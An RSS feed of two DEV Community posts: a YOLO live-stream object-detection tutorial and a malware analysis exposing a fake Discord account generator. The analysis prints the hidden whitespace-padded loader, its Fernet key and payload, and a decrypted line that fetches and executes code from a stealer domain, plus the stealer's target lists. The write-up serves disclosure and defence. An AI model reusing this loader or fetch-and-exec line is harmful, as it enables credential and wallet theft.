<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Spring-0</title>
    <description>The latest articles on DEV Community by Spring-0 (@spring93).</description>
    <link>https://dev.to/spring93</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F927157%2F73b5439f-057a-4c1e-874c-eba02bde5b8c.png</url>
      <title>DEV Community: Spring-0</title>
      <link>https://dev.to/spring93</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/spring93"/>
    <language>en</language>
    <item>
      <title>Building Real-time Object Detection on Live-streams</title>
      <dc:creator>Spring-0</dc:creator>
      <pubDate>Sat, 30 Nov 2024 03:14:53 +0000</pubDate>
      <link>https://dev.to/spring93/building-real-time-object-detection-on-live-streams-46ja</link>
      <guid>https://dev.to/spring93/building-real-time-object-detection-on-live-streams-46ja</guid>
      <description>&lt;p&gt;Artificial Intelligence (AI), or more specifically object detection is a fascinating topic that opens a gateway to a wide variety of projects and ideas. I recently came across an YOLO (You Only Look Once) implementation from &lt;a href="https://www.ultralytics.com/" rel="noopener noreferrer"&gt;Ultralytics&lt;/a&gt;, which is an fast, accurate, and super easy to implement object detection model. In this post I will walk you through my process of building real-time object detection on live streams.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I have built this to work on RTSP (Real-time streaming protocol) and HLS (HTTP Live Streaming).&lt;/em&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  What Makes YOLO Special?
&lt;/h2&gt;

&lt;p&gt;For starters, YOLO is super fast and excels with real time object detection due to the way it works internally which is very different from other models such as R-CNN.&lt;/p&gt;

&lt;p&gt;Algorithms like Faster R-CNN use Region Proposal Network to detect regions of interest, then performs detection on those regions over multiple iterations. While YOLO does it in a single iteration, hence the name "You Only Look Once".&lt;/p&gt;

&lt;p&gt;In addition, YOLO requires very little training data because the first 20 convolution layers have been pre-trained on the &lt;a href="https://www.image-net.org/" rel="noopener noreferrer"&gt;ImageNet&lt;/a&gt; dataset.&lt;/p&gt;

&lt;h2&gt;
  
  
  Now The Project!
&lt;/h2&gt;

&lt;p&gt;Now that all the terminology is out of the way, I can dive into how I set up real-time object detection using YOLO.&lt;/p&gt;

&lt;p&gt;First step is to install the required dependencies:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;torch&lt;/code&gt; (only needed if you plan on utilizing GPU for training)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;opencv-python&lt;/code&gt; for video processing&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ultralytics&lt;/code&gt; for the YOLO model&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since I have a Nvidia graphics card I utilized &lt;a href="https://developer.nvidia.com/cuda-toolkit" rel="noopener noreferrer"&gt;CUDA&lt;/a&gt; to train on my GPU (which is much faster).&lt;/p&gt;

&lt;p&gt;First we load the YOLO model, I used &lt;a href="https://docs.ultralytics.com/models/yolo11/" rel="noopener noreferrer"&gt;YOLOv11&lt;/a&gt; trained on the &lt;a href="https://cocodataset.org/#home" rel="noopener noreferrer"&gt;COCO&lt;/a&gt; (Common Objects in Context) dataset.&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;model = YOLO(r"C:\path\to\your\yolo_model.pt")&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;Next, we capture the stream using &lt;code&gt;opencv-python&lt;/code&gt;, read each frame within a loop, and run that frame through our YOLO model - very straight forward.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;video_cap&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;VideoCapture&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STREAM_URL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;namedWindow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Detection Output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WINDOW_NORMAL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;video_cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;# read the frame from the capture
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;break&lt;/span&gt;

    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;model&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# get prediction on frame from YOLO model
&lt;/span&gt;
    &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;imshow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Detection Output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# Draw the frame
&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;waitKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;q&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="c1"&gt;# Quit on "q" key press.
&lt;/span&gt;        &lt;span class="k"&gt;break&lt;/span&gt;

&lt;span class="c1"&gt;# Don't forget to quit gracefully!
&lt;/span&gt;&lt;span class="n"&gt;video_cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;release&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;destroyAllWindows&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That easy, now this will give you the predictions in your terminal, but what if you want to draw your bounding boxes for example?&lt;/p&gt;

&lt;p&gt;&lt;code&gt;results = model(frame)&lt;/code&gt; - results represents a list of predictions YOLO has made, and each of these predictions have additional data; such as bounding box coordinates, confidence, and labels.&lt;/p&gt;

&lt;p&gt;With this you can loop through the results list, and draw whatever data you want to display from the predictions to your frame.&lt;/p&gt;

&lt;p&gt;Here is an example where I drew bounding boxes around the predictions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;box&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;boxes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;xywh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tolist&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;center_x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;center_y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;box&lt;/span&gt;
        &lt;span class="n"&gt;x1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;center_x&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# top left x
&lt;/span&gt;        &lt;span class="n"&gt;y1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;center_y&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# top left y
&lt;/span&gt;        &lt;span class="n"&gt;x2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;center_x&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# bottom right x
&lt;/span&gt;        &lt;span class="n"&gt;y2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;center_y&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;height&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# bottom right y
&lt;/span&gt;
        &lt;span class="c1"&gt;# rectangle parameters: frame, point1, point2, BGR color, thickness
&lt;/span&gt;        &lt;span class="n"&gt;cv2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;You can find the full code on my GitHub &lt;a href="https://github.com/Spring-0" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;For this demo, I used &lt;a href="https://pypi.org/project/yt-dlp/" rel="noopener noreferrer"&gt;yt-dlp&lt;/a&gt; to get the direct stream URL from a YouTube livestream like so:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yt-dlp -g https://www.youtube.com/watch?v=VIDEO_ID&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;With the following detection classes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;person&lt;/li&gt;
&lt;li&gt;bicycle&lt;/li&gt;
&lt;li&gt;car&lt;/li&gt;
&lt;li&gt;motorcycle&lt;/li&gt;
&lt;li&gt;bus&lt;/li&gt;
&lt;li&gt;truck&lt;/li&gt;
&lt;li&gt;cat&lt;/li&gt;
&lt;li&gt;dog&lt;/li&gt;
&lt;li&gt;sports ball&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;I purposely omitted labels and confidence scores to reduce clutter&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/iAh0UXCZZEA"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;And that's that. Thanks for Reading :)&lt;/p&gt;

&lt;p&gt;🌱&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
    </item>
    <item>
      <title>Exposing the Deception: Discord Account Generator with Hidden Malware</title>
      <dc:creator>Spring-0</dc:creator>
      <pubDate>Sun, 09 Jun 2024 06:11:27 +0000</pubDate>
      <link>https://dev.to/spring93/exposing-the-deception-discord-account-generator-with-hidden-malware-2l8n</link>
      <guid>https://dev.to/spring93/exposing-the-deception-discord-account-generator-with-hidden-malware-2l8n</guid>
      <description>&lt;p&gt;The Discord community has become a haven for malicious actors, whether it is through utilizing Discord's CDN server to spread malicious files with a trusted link, using Discord servers as C2 servers, and more.&lt;/p&gt;

&lt;p&gt;More specifically, in this post I will be investigating one of many malicious "discord token generators" on the market, lets get started.&lt;/p&gt;

&lt;p&gt;The software is advertised on GitHub as a open source project &lt;a href="https://github.com/imvast/Discord-Account-Creator" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you head to the project description, you will see something quite weird. Open source a non-functional version of the project and advertise a paid version in that very same repository?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvhmnvbgaakf32gigg83.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvhmnvbgaakf32gigg83.png" alt="Repository" width="800" height="577"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The shop is powered by &lt;a href="https://sell.app" rel="noopener noreferrer"&gt;sell.app&lt;/a&gt; so the website itself does not seem malicious.&lt;/p&gt;

&lt;p&gt;Now lets investigate the paid version download.&lt;/p&gt;

&lt;p&gt;The download consists of a "genSetup.zip" file containing the following:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk9il6mesror5u1otppfu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk9il6mesror5u1otppfu.png" alt="FileContent" width="152" height="120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;config.toml: Empty configuration file, maybe it gets generated? (Hint: no it doesn't)&lt;/li&gt;
&lt;li&gt;key.txt: Seems like where the user is meant to enter their key. I am presuming one is given after making the purchase.&lt;/li&gt;
&lt;li&gt;requirements.txt: Consists of valid libraries that are required for this type of project.&lt;/li&gt;
&lt;li&gt;start.bat: Simply runs the python file, nothing special there.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Opening main.py we see the following (notice the imports)&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzreg23u42q8t415z0ht9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzreg23u42q8t415z0ht9.png" alt="CodeScreenshot" width="800" height="416"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After reviewing the rest of the code it is identical to the version the actor uploaded to GitHub. There does not seem to be any malicious code, well at least not malicious to the user. Discord says otherwise.&lt;/p&gt;

&lt;p&gt;So where is this malicious code? We were given a non obfuscated python file.&lt;/p&gt;

&lt;p&gt;You may have already noticed in the initial code screenshot, but the horizontal scrollbar informs us that there is much more content to see. And turns out the malicious code was on the very first line just padded with a bunch of white spacing.&lt;/p&gt;

&lt;p&gt;Here is the revised code of the first few lines with the white spacing removed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import requests   ;import os;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'NxcOFeqTLbTifLJ5_7mxQXhutuWykVQw0M_plAqkbAk=').decrypt(b'gAAAAABmZSyv6BjNz3eMFn6xU8umUhs2m33n49caMlU4XWRcQBntQQ2jwtDuUA9pKNfT9wnyBx6TJoPUvA2vDVJkWV5KcAsR1Qtjmgsr-t1oenrd8TxXsDO6QGg2LcQlMonT1qgE8LZ4KDDIKlDupRJLqakR1ZkvtJctUKSMBFIP0Y2EmXjCFCgIzC-n4kJDmsiqJUiUMIcrEgP30SU4GU2lfwOhDyO95cv7MXdbZAyLbqfd0nwK2sU=')) # type: ignore
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A sneaky one liner. Now we can begin examining the payload.&lt;/p&gt;

&lt;p&gt;Firstly it installs the following libraries:&lt;br&gt;
&lt;em&gt;These libraries were not listed in the provided "requirements.txt" file.&lt;/em&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;cryptography&lt;/li&gt;
&lt;li&gt;fernet&lt;/li&gt;
&lt;li&gt;requests&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The &lt;code&gt;# type: ignore&lt;/code&gt; is used to hide type errors.&lt;/p&gt;

&lt;p&gt;We can clearly see that some encrypted code is being executed through the &lt;code&gt;exec()&lt;/code&gt; function call.&lt;/p&gt;

&lt;p&gt;Lucky for us, the fernet encryption key is right there in the code!&lt;/p&gt;

&lt;p&gt;If the encryption key is provided in the source code, what is the point of encrypting the payload?&lt;br&gt;
This is an evasive technique used to evade any signature based malware scanners.&lt;/p&gt;

&lt;p&gt;Using the following code I wrote, I was able to see the decrypted code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;key = "NxcOFeqTLbTifLJ5_7mxQXhutuWykVQw0M_plAqkbAk="
message = "gAAAAABmZSyv6BjNz3eMFn6xU8umUhs2m33n49caMlU4XWRcQBntQQ2jwtDuUA9pKNfT9wnyBx6TJoPUvA2vDVJkWV5KcAsR1Qtjmgsr-t1oenrd8TxXsDO6QGg2LcQlMonT1qgE8LZ4KDDIKlDupRJLqakR1ZkvtJctUKSMBFIP0Y2EmXjCFCgIzC-n4kJDmsiqJUiUMIcrEgP30SU4GU2lfwOhDyO95cv7MXdbZAyLbqfd0nwK2sU="

fernet = Fernet(key)
decrypted_message = fernet.decrypt(message)
print(decrypted_message.decode())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And this is the output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exec(requests.get('https://1312stealer.ru/paste?userid=1000000000').text.replace('&amp;lt;pre&amp;gt;','').replace('&amp;lt;/pre&amp;gt;',''))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yet another &lt;code&gt;exec()&lt;/code&gt; function call, with the content from a website with the domain &lt;code&gt;1312stealer&lt;/code&gt;. Not very subtle now.&lt;/p&gt;

&lt;p&gt;Anyways, lets see this what is being executed.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3782xgkey3xmbe9grrl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa3782xgkey3xmbe9grrl.png" alt="PasteFromSite" width="800" height="219"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Installing fernet again? And this time with a different system execution command? &lt;em&gt;Looks to me that someone has been using ctrl+c &amp;amp; ctrl+v too much&lt;/em&gt; 😂&lt;/p&gt;

&lt;p&gt;Lets break this down.&lt;br&gt;
The code is creating a file named "gruppe.py" in the APPDATA directory and writing code into it and finally executes it.&lt;/p&gt;

&lt;p&gt;Judging by the length of the encrypted payload (trimmed in the screenshot above) it looks like the final payload.&lt;/p&gt;

&lt;p&gt;Lets decrypt it using the same method used previously and see exactly what this malware is doing.&lt;/p&gt;

&lt;p&gt;There is a targeted list of browsers, browser extensions, wallets, directories to search, file keywords, file extensions, and discord token paths.&lt;/p&gt;

&lt;p&gt;Here are the specific targets:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Browsers&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Google Chrome&lt;/li&gt;
&lt;li&gt;Microsoft Edge&lt;/li&gt;
&lt;li&gt;Opera&lt;/li&gt;
&lt;li&gt;Opera GX&lt;/li&gt;
&lt;li&gt;Brave&lt;/li&gt;
&lt;li&gt;Yandex&lt;/li&gt;
&lt;li&gt;Firefox&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Browser Extensions&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authenticator&lt;/li&gt;
&lt;li&gt;Binance&lt;/li&gt;
&lt;li&gt;Bitapp&lt;/li&gt;
&lt;li&gt;BoltX&lt;/li&gt;
&lt;li&gt;Coin98&lt;/li&gt;
&lt;li&gt;Coinbase&lt;/li&gt;
&lt;li&gt;Core&lt;/li&gt;
&lt;li&gt;Crocobit&lt;/li&gt;
&lt;li&gt;Equal&lt;/li&gt;
&lt;li&gt;Ever&lt;/li&gt;
&lt;li&gt;ExodusWeb3&lt;/li&gt;
&lt;li&gt;Fewcha&lt;/li&gt;
&lt;li&gt;Finnie&lt;/li&gt;
&lt;li&gt;Guarda&lt;/li&gt;
&lt;li&gt;Guild&lt;/li&gt;
&lt;li&gt;HarmonyOutdated&lt;/li&gt;
&lt;li&gt;Iconex&lt;/li&gt;
&lt;li&gt;Jaxx&lt;/li&gt;
&lt;li&gt;Kaikas&lt;/li&gt;
&lt;li&gt;KardiaChain&lt;/li&gt;
&lt;li&gt;Keplr&lt;/li&gt;
&lt;li&gt;Liquality&lt;/li&gt;
&lt;li&gt;MEWCX&lt;/li&gt;
&lt;li&gt;MaiarDEFI&lt;/li&gt;
&lt;li&gt;Martian&lt;/li&gt;
&lt;li&gt;Math&lt;/li&gt;
&lt;li&gt;Metamask&lt;/li&gt;
&lt;li&gt;Metamask2&lt;/li&gt;
&lt;li&gt;Mobox&lt;/li&gt;
&lt;li&gt;Nami&lt;/li&gt;
&lt;li&gt;Nifty&lt;/li&gt;
&lt;li&gt;Oxygen&lt;/li&gt;
&lt;li&gt;PaliWallet&lt;/li&gt;
&lt;li&gt;Petra&lt;/li&gt;
&lt;li&gt;Phantom&lt;/li&gt;
&lt;li&gt;Pontem&lt;/li&gt;
&lt;li&gt;Ronin&lt;/li&gt;
&lt;li&gt;Safepal&lt;/li&gt;
&lt;li&gt;Saturn&lt;/li&gt;
&lt;li&gt;Slope&lt;/li&gt;
&lt;li&gt;Solfare&lt;/li&gt;
&lt;li&gt;Sollet&lt;/li&gt;
&lt;li&gt;Starcoin&lt;/li&gt;
&lt;li&gt;Swash&lt;/li&gt;
&lt;li&gt;TempleTezos&lt;/li&gt;
&lt;li&gt;TerraStation&lt;/li&gt;
&lt;li&gt;Tokenpocket&lt;/li&gt;
&lt;li&gt;Ton&lt;/li&gt;
&lt;li&gt;Tron&lt;/li&gt;
&lt;li&gt;Trust Wallet&lt;/li&gt;
&lt;li&gt;Wombat&lt;/li&gt;
&lt;li&gt;XDEFI&lt;/li&gt;
&lt;li&gt;XMR.PT&lt;/li&gt;
&lt;li&gt;XinPay&lt;/li&gt;
&lt;li&gt;Yoroi&lt;/li&gt;
&lt;li&gt;iWallet&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Wallets&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Atomic&lt;/li&gt;
&lt;li&gt;Exodus&lt;/li&gt;
&lt;li&gt;Electrum&lt;/li&gt;
&lt;li&gt;Electrum-LTC&lt;/li&gt;
&lt;li&gt;Zcash&lt;/li&gt;
&lt;li&gt;Armory&lt;/li&gt;
&lt;li&gt;Bytecoin&lt;/li&gt;
&lt;li&gt;Jaxx&lt;/li&gt;
&lt;li&gt;Etherium&lt;/li&gt;
&lt;li&gt;Guarda&lt;/li&gt;
&lt;li&gt;Coinomi&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Target Paths&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Desktop&lt;/li&gt;
&lt;li&gt;Documents&lt;/li&gt;
&lt;li&gt;Downloads&lt;/li&gt;
&lt;li&gt;OneDrive\Documents&lt;/li&gt;
&lt;li&gt;OneDrive\Desktop&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;File Keywords&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;passw&lt;/li&gt;
&lt;li&gt;mdp&lt;/li&gt;
&lt;li&gt;mot_de_passe&lt;/li&gt;
&lt;li&gt;login&lt;/li&gt;
&lt;li&gt;secret&lt;/li&gt;
&lt;li&gt;account&lt;/li&gt;
&lt;li&gt;acount&lt;/li&gt;
&lt;li&gt;paypal&lt;/li&gt;
&lt;li&gt;banque&lt;/li&gt;
&lt;li&gt;metamask&lt;/li&gt;
&lt;li&gt;wallet&lt;/li&gt;
&lt;li&gt;crypto&lt;/li&gt;
&lt;li&gt;exodus&lt;/li&gt;
&lt;li&gt;discord&lt;/li&gt;
&lt;li&gt;2fa&lt;/li&gt;
&lt;li&gt;code&lt;/li&gt;
&lt;li&gt;memo&lt;/li&gt;
&lt;li&gt;compte&lt;/li&gt;
&lt;li&gt;token&lt;/li&gt;
&lt;li&gt;backup&lt;/li&gt;
&lt;li&gt;seecret&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now let's further investigate into how they are being targeted.&lt;/p&gt;

&lt;p&gt;Firstly, passwords and cookies are being retrieved from the browser and saved to "APPDATA\gruppe_storage". This storage folder is used to store all the details extracted from the victim's machine.&lt;/p&gt;

&lt;p&gt;The passwords that are being retrieved are the ones that you choose to save (That popup that asks you to save password whenever you register to a site).&lt;/p&gt;

